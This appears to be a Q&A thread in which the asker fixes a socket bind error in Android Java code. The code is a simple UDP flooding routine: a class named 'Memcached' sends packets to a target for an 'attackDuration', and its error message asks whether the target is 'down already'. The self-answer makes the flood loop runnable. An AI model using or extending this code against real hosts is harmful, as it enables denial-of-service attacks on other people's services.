watersheep23
watersheep23

Reputation: 369

Caused by: android.system.ErrnoException: bind failed: EACCES (Permission denied)

I am trying to establish a socket connection between my Android app and my local Apache server. However, when the code is run, I get the following error in Logcat: java.net.BindException: bind failed: EACCES (Permission denied). Here is my client-side code (The error occurs in the line socket = new DatagramSocket(this.serverPort, ip);:

public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
        targetURL = new URL("http://" + target);
        this.serverPort = serverPort;
        this.attackDuration = attackDuration * 1000;
    }
    @Override
    public void run() {
        long startTime = System.currentTimeMillis();
        try {
            ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
            Log.d(TAG, ip.getHostAddress());

        }
        catch(UnknownHostException uhe) {
            System.out.println("Unknown host");
            ipAddressAbleToBeFound = false;
        }
        if (ipAddressAbleToBeFound) {
            try {
                socket = new DatagramSocket(this.serverPort, ip);
            }
            catch(SocketException se) {
                System.out.println("Unable to send request, is it down already??");
                se.printStackTrace();
                socketAbleToBeCreated = false;
            }
            if (socketAbleToBeCreated) {
                while(System.currentTimeMillis() < startTime + attackDuration) {
                    byte[] buffer = {10,23,12,31,43,32,24};

                    DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, this.serverPort);
                    try {
                        socket.send(packet);
                    }
                    catch(IOException ioe) {
                        System.out.println("I/O error occurred");
                    }
                }
            }
        }
    }
}

My Android Manifest file has the proper permissions I believe. My ip is set to the my local IP address, which is how my local Apache server gets accessed. My this.serverPort is set to 80, which is less than 1024. I've read that the issue might be because I am trying to connect to a port less than 1024. However, when I set this.serverPort to 1024, I get the following error: java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address). So I am not sure what to try. Please let me know if I need to provide any additional information! Thanks!

Upvotes: 0

Views: 627

Answers (1)

watersheep23
watersheep23

Reputation: 369

I think I got around this by doing socket = new DatagramSocket(); as opposed to socket = new DatagramSocket(this.serverPort, ip);. It looks like you don't need to specify port and InetAddress in the DatagramSocket, you just need to do so in the DatagramPacket.

Upvotes: 0

Related Questions